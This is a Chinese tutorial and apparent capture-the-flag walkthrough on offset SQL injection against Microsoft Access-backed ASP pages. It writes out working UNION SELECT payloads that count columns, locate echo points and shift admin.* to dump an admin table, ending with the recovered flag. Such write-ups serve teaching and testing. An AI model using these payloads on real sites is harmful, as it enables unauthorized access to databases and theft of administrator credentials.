知识点
之前的查询数据都是先表名,再字段…但是在Access数据库中,可没有什么“系统自带库”,这个时候,哼哼,就要来点花活了 丑话说在前面,Access中的表名是无解的,要么跑字典,要么猜
选中:库.表.字段 * :通配符,表示所有 表.* :所有字段
偏移溢注:当原表字段大于我要查询的表的字段的时候,就要用到偏移溢注
是不是觉得我没说明白,来感受一下:
select * from login where username='$username'
union
select 1,2,admin.* from admin;
可以用1,2 来补位,更甚之移动admin.* 的位置!! 这就叫偏移注入!
实战
拿到一个做的跟非法网站一样的东西,随便点一个进去看一下 看到是ASP写的,而且有GET传参,可以在Cookie上动点手脚 尝试注入:id=171' -- qwe 不能闭合,不闭合试试,直接排字段:id=171 order by 1 果然没有闭合,最后查出来是十个字段,猜测表名是admin ,而且测出来admin 表的字段比这个页面的字段数还要大,就在这几个页面里试,最终找到比admin 表的字段大的
发现id=105 这个页面有26个字段,查一下回显点:id=105 and 1=2 union select 11111,21111,31111,41111,51111,61111,71111,81111,91111,101111,111111,121111,131111,141111,151111,161111,171111,181111,191111,201111,211111,221111,231111,241111,251111,261111 from admin 发现回显点为:3,5,7,25 这里注意,如果不写and 1=2 是正常页面,写了就不会回显正常页面而输出我们想看到的回显点! 要检查源码!它里面也有输出点呢!!!
现在开始将26 替换为admin.* ,以此来判断一下admin 表里有几个字段,逐次删除位数,直到页面正常回显:id=105 union select 1,2,31111,4,51111,6,71111,8,9,10,admin.* from admin 看来admin 表有16 个字段,而且倒数第二个字段是" " ,接下来就是偏移溢注,其实就是把admin.* 一直向左移,查敏感字段id=105 union select 1,2,31111,4,51111,6,71111,8,9,admin.*,26 from admin 移了一下flag就来啦,耶比耶比
|